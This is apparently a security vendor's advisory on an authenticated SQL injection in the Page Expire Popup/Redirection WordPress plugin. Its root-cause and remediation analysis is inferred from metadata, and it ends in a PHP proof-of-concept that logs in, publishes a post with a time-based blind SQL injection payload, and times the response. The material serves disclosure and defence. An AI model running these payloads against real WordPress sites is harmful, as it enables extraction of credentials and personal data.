Atomic Edge analysis of CVE-2025-14153 (metadata-based):
This vulnerability is an authenticated SQL injection in the Page Expire Popup/Redirection for WordPress plugin. Attackers with Author-level privileges or higher can inject malicious SQL via the ‘id’ shortcode attribute. The CVSS 6.5 score reflects the combination of network accessibility, low attack complexity, and high confidentiality impact.
Atomic Edge research indicates the root cause is insufficient input sanitization and lack of prepared statements. The plugin processes the ‘id’ shortcode attribute without proper escaping before incorporating it into SQL queries. This conclusion is inferred from the CWE-89 classification and the description’s mention of “insufficient escaping” and “lack of sufficient preparation.” Without code analysis, we cannot confirm the exact vulnerable function, but WordPress plugins commonly use $wpdb->query() or $wpdb->get_results() with unsanitized user input.
Exploitation requires an authenticated attacker with Author privileges. The attacker creates or edits a post containing the vulnerable shortcode with a malicious ‘id’ attribute. The payload uses time-based blind SQL injection techniques to extract database information. A typical payload would be: [page_expire_popup id=”1′ AND (SELECT 1 FROM (SELECT SLEEP(5))a)– “] The plugin processes this shortcode during page rendering, executing the injected SQL conditional delay.
Remediation requires implementing proper input validation and parameterized queries. The patched version likely replaced direct variable interpolation with $wpdb->prepare() statements. WordPress developers should use $wpdb->prepare() with placeholders or esc_sql() for escaping. The plugin should also validate the ‘id’ parameter as an integer using intval() or absint() before database operations.
Successful exploitation enables data exfiltration from the WordPress database. Attackers can extract sensitive information including user credentials, personal data, and plugin configuration. While the vulnerability does not directly enable privilege escalation or remote code execution, extracted administrator credentials could lead to site compromise. The time-based nature suggests blind injection, requiring multiple requests to extract meaningful data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14153 - Page Expire Popup/Redirection for WordPress <= 1.0 - Authenticated (Author+) SQL Injection via 'id' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2025-14153
* Assumptions:
* 1. Target runs vulnerable plugin version <= 1.0
* 2. Attacker has Author-level credentials
* 3. Shortcode processing occurs during post rendering
* 4. SQL injection is time-based blind
*/
$target_url = 'https://target-site.com';
$username = 'author_user';
$password = 'author_pass';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Create post with malicious shortcode
$create_post_url = $target_url . '/wp-admin/post-new.php';
$nonce = extract_nonce($response); // Function to extract nonce from page (implementation omitted for brevity)
// Time-based SQL injection payload
// Tests if database user is 'root' by checking if SLEEP executes
$malicious_id = "1' AND IF(SUBSTRING(USER(),1,4)='root',SLEEP(5),0)-- ";
$shortcode = "[page_expire_popup id='{$malicious_id}']";
$post_data = [
'post_title' => 'Test Post CVE-2025-14153',
'content' => $shortcode,
'publish' => 'Publish',
'_wpnonce' => $nonce,
'post_type' => 'post'
];
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$post_id = extract_post_id($response); // Function to extract new post ID
// Step 3: Trigger shortcode execution by viewing post
$view_post_url = $target_url . '/?p=' . $post_id;
$start_time = microtime(true);
curl_setopt($ch, CURLOPT_URL, $view_post_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_exec($ch);
$end_time = microtime(true);
$response_time = $end_time - $start_time;
echo "Response time: " . $response_time . " secondsn";
if ($response_time > 4.5) {
echo "Potential SQL injection successful (time delay detected)n";
} else {
echo "No time delay detectedn";
}
curl_close($ch);
// Helper functions (simplified)
function extract_nonce($html) {
// In real implementation, parse HTML for nonce
return 'extracted_nonce';
}
function extract_post_id($html) {
// In real implementation, parse HTML for post ID
return '123';
}
?>
